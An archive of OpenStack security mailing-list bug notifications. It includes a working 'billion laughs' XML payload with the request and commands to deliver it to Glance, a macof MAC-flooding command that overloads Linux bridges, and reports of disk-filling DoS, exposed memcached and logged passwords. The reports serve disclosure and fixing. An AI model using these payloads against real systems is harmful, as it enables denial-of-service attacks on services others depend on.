From 1625402 at bugs.launchpad.net  Thu Feb  1 09:47:23 2018
From: 1625402 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 01 Feb 2018 09:47:23 -0000
Subject: [Openstack-security] [Bug 1625402] Related fix merged to glance
	(master)
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <151747844367.17597.3319906845011639680.malone@chaenomeles.canonical.com>

Reviewed:  https://review.openstack.org/537855
Committed: https://git.openstack.org/cgit/openstack/glance/commit/?id=6e82ea023a63b74b49d94f4e65b0a7cd3e0c49f6
Submitter: Zuul
Branch:    master

commit 6e82ea023a63b74b49d94f4e65b0a7cd3e0c49f6
Author: Vladislav Kuzmin <vkuzmin at mirantis.com>
Date:   Thu Jan 25 15:11:39 2018 +0400

    Replace xml defusedxml
    
    xml was considered as vulnerable to different atacks.
    It is recommended to replace this library with defused_xml
    
    Change-Id: I2b146dc34ada37a3ed9ecf49513d024a8ca2fb19
    Related-Bug: #1625402

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  In Progress
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From 1625402 at bugs.launchpad.net  Thu Feb  1 14:17:44 2018
From: 1625402 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 01 Feb 2018 14:17:44 -0000
Subject: [Openstack-security] [Bug 1625402] Related fix proposed to glance
	(stable/pike)
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <151749466439.16144.1858791121217597842.malone@gac.canonical.com>

Related fix proposed to branch: stable/pike
Review: https://review.openstack.org/539967

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  In Progress
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From 1732294 at bugs.launchpad.net  Fri Feb  2 16:13:28 2018
From: 1732294 at bugs.launchpad.net (OpenStack Infra)
Date: Fri, 02 Feb 2018 16:13:28 -0000
Subject: [Openstack-security] [Bug 1732294] Re: Probable DOS in linuxbridge
References: <151070054181.1317.15566312997210327161.malonedeb@chaenomeles.canonical.com>
Message-ID: <151758800890.10457.4236525943483501525.malone@wampee.canonical.com>

Reviewed:  https://review.openstack.org/520249
Committed: https://git.openstack.org/cgit/openstack/neutron/commit/?id=08108c41992a13c6959b717cccfe2b929e55d2eb
Submitter: Zuul
Branch:    master

commit 08108c41992a13c6959b717cccfe2b929e55d2eb
Author: Brian Haley <bhaley at redhat.com>
Date:   Wed Nov 15 19:24:22 2017 -0500

    Move Linuxbridge ARP spoofing to nat table PREROUTING chain
    
    It was found that adding ebtables rules to the filter table
    FORWARD chain could be vulnerable to a DoS attack.  Moving
    to the nat table PREROUTING chain should mitigate this as
    it is consulted prior to allowing the frame in.
    
    In order to make this work with upgrades, had to make the code
    detect and remove any old rules that might still exist in
    the filter table.  That can be removed after a cycle.
    
    Added some unit tests in addition to the existing functional
    tests.
    
    Change-Id: I87852b21db4404c58c83789cc267812030ac7d5f
    Closes-bug: #1732294


** Changed in: neutron
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1732294

Title:
  Probable DOS in linuxbridge

Status in neutron:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Security Notes:
  New

Bug description:
  We experienced a DOS yesterday on a system (not openstack based) which
  would have been mitigated if a mac address whitelist in ebtables had
  occurred in the nat PREROUTING chain rather than the filter FORWARD
  chain.

  At least with kernel version 4.9, with rapidly cycling mac addresses
  the linux bridge appears to get bogged down in learning new MAC
  addresses if this is not explicitly turned off with brctl setageing
  <bridge> 0.

  We deployed a workaround to our own infrastructure but I believe
  https://git.openstack.org/cgit/openstack/neutron/tree/neutron/plugins/ml2/drivers/linuxbridge/agent/arp_protect.py#n158
  means that openstack has the same vulnerability.

  It should be possible to move all logic related to checking the input
  to the ebtables nat PREROUTING chain using the ebtables_nat module.

  To duplicate, in a VM on a host with bridged networking and mac
  spoofing protection in place, install dsniff and run:

  macof -i <ethernet device> -s <valid local IP> -d <valid remote IP> -n
  50000000 &> /dev/null

  Observe on the host that ksoftirqd usage goes to near 100% on one
  core, that 'perf top' will show br_fdb_update as taking significant
  resources, and that 'brctl showmacs <bridge>' will probably hang.

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1732294/+subscriptions



From 1733289 at bugs.launchpad.net  Thu Feb  8 19:47:36 2018
From: 1733289 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 08 Feb 2018 19:47:36 -0000
Subject: [Openstack-security] [Bug 1733289] Re: Image data stays in store
 (filesystem store) if image is deleted after staging call
References: <151116941982.13328.2928212645411703751.malonedeb@soybean.canonical.com>
Message-ID: <151811925704.28062.3559885477463483340.malone@soybean.canonical.com>

Reviewed:  https://review.openstack.org/523029
Committed: https://git.openstack.org/cgit/openstack/glance/commit/?id=7eb2fcc865e56cc81f287beb71d6c320dc2f336d
Submitter: Zuul
Branch:    master

commit 7eb2fcc865e56cc81f287beb71d6c320dc2f336d
Author: Abhishek Kekane <akekane at redhat.com>
Date:   Mon Nov 27 06:36:09 2017 +0000

    Delete data if image is deleted after staging call
    
    Trying to delete image after staging call image gets deleted
    from the database, but image data remains in the
    staging area.
    
    Deleted image data from the staging area if image_import is
    enabled and image is in uploading state while deleting.
    
    Closes-Bug: #1733289
    Change-Id: I6ef1c05760a27a0b3620024003b49328c55f19a6


** Changed in: glance
       Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1733289

Title:
  Image data stays in store (filesystem store) if image is deleted after
  staging call

Status in Glance:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Trying to delete image after staging call image gets deleted from the
  database, but image data remains in the backend ('/tmp/staging'
  directory).

  NOTE: This issue will occur only if image-import is enabled in the
  deployment i.e. 'enable_image_import' is set to True in glance-
  api.conf

  Steps to reproduce:
  1. Create image
     $ glance image-create --container-format ami --disk-format ami --name test_image
  2. Add image to staging area using stage call
     $ glance image-stage <IMAGE_ID>
  3. Verify that image is uploaded to staging area i.e. in '/tmp/staging' area
     $ ls -la /tmp/staging/<IMAGE_ID>
     Output: -rw-r--r--. 1 centos centos 313 Nov 20 09:05 /tmp/staging/<IMAGE_ID>
  4. Delete the image
     $ glance image-delete <IMAGE_ID>
  5. Verify image-list does not show deleted image
     $ glance image-list
  6. Verify that image is still present in staging area i.e. in '/tmp/staging' area
     $ ls -la /tmp/staging/<IMAGE_ID>
     Output: -rw-r--r--. 1 centos centos 313 Nov 20 09:05 /tmp/staging/<IMAGE_ID>

  Image gets deleted from the database but image data presents in the
  staging area i.e. in '/tmp/staging' directory.

  Actually after deleting the image after staging call it should be
  cleared from staging area as well.

  Attack scenario here is to create/stage/delete a lot of large size
  images using DoS the temporary image backend by filling it up.

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1733289/+subscriptions



From 1733289 at bugs.launchpad.net  Thu Feb  8 21:09:24 2018
From: 1733289 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 08 Feb 2018 21:09:24 -0000
Subject: [Openstack-security] [Bug 1733289] Fix included in openstack/glance
	16.0.0.0rc1
References: <151116941982.13328.2928212645411703751.malonedeb@soybean.canonical.com>
Message-ID: <151812416505.3264.10914061744418372989.malone@gac.canonical.com>

This issue was fixed in the openstack/glance 16.0.0.0rc1 release
candidate.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1733289

Title:
  Image data stays in store (filesystem store) if image is deleted after
  staging call

Status in Glance:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Trying to delete image after staging call image gets deleted from the
  database, but image data remains in the backend ('/tmp/staging'
  directory).

  NOTE: This issue will occur only if image-import is enabled in the
  deployment i.e. 'enable_image_import' is set to True in glance-
  api.conf

  Steps to reproduce:
  1. Create image
     $ glance image-create --container-format ami --disk-format ami --name test_image
  2. Add image to staging area using stage call
     $ glance image-stage <IMAGE_ID>
  3. Verify that image is uploaded to staging area i.e. in '/tmp/staging' area
     $ ls -la /tmp/staging/<IMAGE_ID>
     Output: -rw-r--r--. 1 centos centos 313 Nov 20 09:05 /tmp/staging/<IMAGE_ID>
  4. Delete the image
     $ glance image-delete <IMAGE_ID>
  5. Verify image-list does not show deleted image
     $ glance image-list
  6. Verify that image is still present in staging area i.e. in '/tmp/staging' area
     $ ls -la /tmp/staging/<IMAGE_ID>
     Output: -rw-r--r--. 1 centos centos 313 Nov 20 09:05 /tmp/staging/<IMAGE_ID>

  Image gets deleted from the database but image data presents in the
  staging area i.e. in '/tmp/staging' directory.

  Actually after deleting the image after staging call it should be
  cleared from staging area as well.

  Attack scenario here is to create/stage/delete a lot of large size
  images using DoS the temporary image backend by filling it up.

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1733289/+subscriptions



From 1732294 at bugs.launchpad.net  Fri Feb  9 16:35:40 2018
From: 1732294 at bugs.launchpad.net (OpenStack Infra)
Date: Fri, 09 Feb 2018 16:35:40 -0000
Subject: [Openstack-security] [Bug 1732294] Fix included in
	openstack/neutron 12.0.0.0rc1
References: <151070054181.1317.15566312997210327161.malonedeb@chaenomeles.canonical.com>
Message-ID: <151819414066.27541.12440409936740113710.malone@soybean.canonical.com>

This issue was fixed in the openstack/neutron 12.0.0.0rc1 release
candidate.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1732294

Title:
  Probable DOS in linuxbridge

Status in neutron:
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Security Notes:
  New

Bug description:
  We experienced a DOS yesterday on a system (not openstack based) which
  would have been mitigated if a mac address whitelist in ebtables had
  occurred in the nat PREROUTING chain rather than the filter FORWARD
  chain.

  At least with kernel version 4.9, with rapidly cycling mac addresses
  the linux bridge appears to get bogged down in learning new MAC
  addresses if this is not explicitly turned off with brctl setageing
  <bridge> 0.

  We deployed a workaround to our own infrastructure but I believe
  https://git.openstack.org/cgit/openstack/neutron/tree/neutron/plugins/ml2/drivers/linuxbridge/agent/arp_protect.py#n158
  means that openstack has the same vulnerability.

  It should be possible to move all logic related to checking the input
  to the ebtables nat PREROUTING chain using the ebtables_nat module.

  To duplicate, in a VM on a host with bridged networking and mac
  spoofing protection in place, install dsniff and run:

  macof -i <ethernet device> -s <valid local IP> -d <valid remote IP> -n
  50000000 &> /dev/null

  Observe on the host that ksoftirqd usage goes to near 100% on one
  core, that 'perf top' will show br_fdb_update as taking significant
  resources, and that 'brctl showmacs <bridge>' will probably hang.

To manage notifications about this bug go to:
https://bugs.launchpad.net/neutron/+bug/1732294/+subscriptions



From fungi at yuggoth.org  Wed Feb 14 00:46:21 2018
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Wed, 14 Feb 2018 00:46:21 -0000
Subject: [Openstack-security] [Bug 1749326] [NEW] Exploitable services
 exposed on community test nodes
Message-ID: <151856918155.29609.17973703058565700322.malonedeb@chaenomeles.canonical.com>

Public bug reported:

One of the donor service providers for the upstream OpenStack
Infrastructure CI pool has notified us that their security team's
periodic vulnerability scans have been identifying systems at random
within our environment as running open memcached servers. Job
correlation from these reports indicates each was running one of the
following:

kolla-ansible-oraclelinux-binary
kolla-ansible-oraclelinux-source
kolla-ansible-oraclelinux-source-ceph

Please adjust the configuration of your job framework to prevent these
services from being exposed to the Internet (through iptables ingress
filters, service ACLs, configuring them to not listen on globally-
routable interfaces, whatever works). Thanks!

** Affects: kolla-ansible
     Importance: Undecided
         Status: New


** Tags: security

** Tags added: security

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1749326

Title:
  Exploitable services exposed on community test nodes

Status in kolla-ansible:
  New

Bug description:
  One of the donor service providers for the upstream OpenStack
  Infrastructure CI pool has notified us that their security team's
  periodic vulnerability scans have been identifying systems at random
  within our environment as running open memcached servers. Job
  correlation from these reports indicates each was running one of the
  following:

  kolla-ansible-oraclelinux-binary
  kolla-ansible-oraclelinux-source
  kolla-ansible-oraclelinux-source-ceph

  Please adjust the configuration of your job framework to prevent these
  services from being exposed to the Internet (through iptables ingress
  filters, service ACLs, configuring them to not listen on globally-
  routable interfaces, whatever works). Thanks!

To manage notifications about this bug go to:
https://bugs.launchpad.net/kolla-ansible/+bug/1749326/+subscriptions



From fungi at yuggoth.org  Sat Feb 17 14:14:24 2018
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Sat, 17 Feb 2018 14:14:24 -0000
Subject: [Openstack-security] [Bug 1744609] Re: operation log: user
 passwords are logged by default setting
References: <151657896392.10939.14763313588978932571.malonedeb@soybean.canonical.com>
Message-ID: <151887686566.16149.780178584906031759.launchpad@wampee.canonical.com>

** Information type changed from Public Security to Public

** Tags added: security

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1744609

Title:
  operation log: user passwords are logged by default setting

Status in OpenStack Dashboard (Horizon):
  Fix Released
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  If the operation log is enabled (disabled by default) and the default value of OPERATION_LOG_OPTIONS['mask_fields'] is used, when a user tries to change his/her password from "Change Password" panel (http://<dashboard-site>/settings/password/), both current and new passwords will be logged in the operation log like below.
  The same thing happens in "Change Password" action in the Identity User panel.
  ----
  [None] [None] [demo] [d65075f0e4964b8d9ccb57ddcce8fbbb] [admin] [c90eec6eb48d4bcc988e8cebf9ce80fa] [http] [/settings/password/] [/settings/password/] [error: Unauthorized: Unable to change password., error: Unauthorized. Please try logging in again.] [POST] [403] [{"fake_email": "", "fake_password": "", "new_password": "NEW-PASSWORD", "confirm_password": "NEW-PASSWORD", "current_password": "CURRENT-PASSWORD", "csrfmiddlewaretoken": "SEuuWLJlUPNUZzC6aCQkIQxyFuQPCjcahqnuZ8CYthDd4GNr76UC5EQYTAZzbdeo"}]
  ----

  The default value of OPERATION_LOG_OPTIONS['mask_fields'] should
  include "current_password", "new_password" and "confirm_password".

  Operators who enable the operation log feature are recommended to set
  OPERATION_LOG_OPTIONS['mask_fields'] to ['password',
  'current_password', 'new_password', 'confirm_password'] in
  local_settings.py.

To manage notifications about this bug go to:
https://bugs.launchpad.net/horizon/+bug/1744609/+subscriptions



From 1625402 at bugs.launchpad.net  Tue Feb 20 08:29:03 2018
From: 1625402 at bugs.launchpad.net (OpenStack Infra)
Date: Tue, 20 Feb 2018 08:29:03 -0000
Subject: [Openstack-security] [Bug 1625402] Change abandoned on glance
	(stable/pike)
References: <20160920002310.32086.46442.malonedeb@wampee.canonical.com>
Message-ID: <151911534357.2755.3810147454434577674.malone@soybean.canonical.com>

Change abandoned by Vladislav Kuzmin (vkuzmin at mirantis.com) on branch: stable/pike
Review: https://review.openstack.org/539967
Reason: global-requirements for stable/pike doesn't contain defusedxml

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1625402

Title:
  Authenticated "Billion laughs" memory exhaustion / DoS vulnerability
  in ovf_process.py

Status in Glance:
  Fix Released
Status in OpenStack Security Advisory:
  Opinion

Bug description:
  Creating a task to import an OVA file with a malicious OVF file inside
  it will result in significant memory usage by the glance-api process.

  This is caused by the use of the xml.etree module in ovf_process.py
  [1] [2] to process OVF images extracted from OVA files with
  ET.iterparse(). No validation is currently performed on the XML prior
  to parsing.

  As outlined in the Python documentation, xml.etree is vulnerable to
  the "billion laughs" vulnerability when parsing untrusted input [3]

  Note: if using a devstack instance, you will need to edit the
  "work_dir" variable in /etc/glance/glance-api.conf to point to a real
  folder.

  -----------------------------------------
  Example request
  -----------------------------------------

  POST /v2/tasks HTTP/1.1
  Host: localhost:1338
  Connection: close
  Accept-Encoding: gzip, deflate
  Accept: application/json
  User-Agent: python-requests/2.11.1
  Content-Type: application/json
  X-Auth-Token: [ADMIN TOKEN]
  Content-Length: 287

  {
      "type": "import",
      "input": {
          "import_from": "http://127.0.0.1:9090/laugh.ova",
          "import_from_format": "raw",
          "image_properties": {
              "disk_format": "raw",
              "container_format": "ova",
       "name": "laugh"
          }
      }
  }

  -----------------------------------------
  Creating the malicious OVA/OVF
  -----------------------------------------

  "laugh.ova" can be created like so:

  1. Copy this into a file called "laugh.ovf":
  <?xml version="1.0"?>
  <!DOCTYPE lolz [
   <!ENTITY lol "lol">
   <!ELEMENT lolz (#PCDATA)>
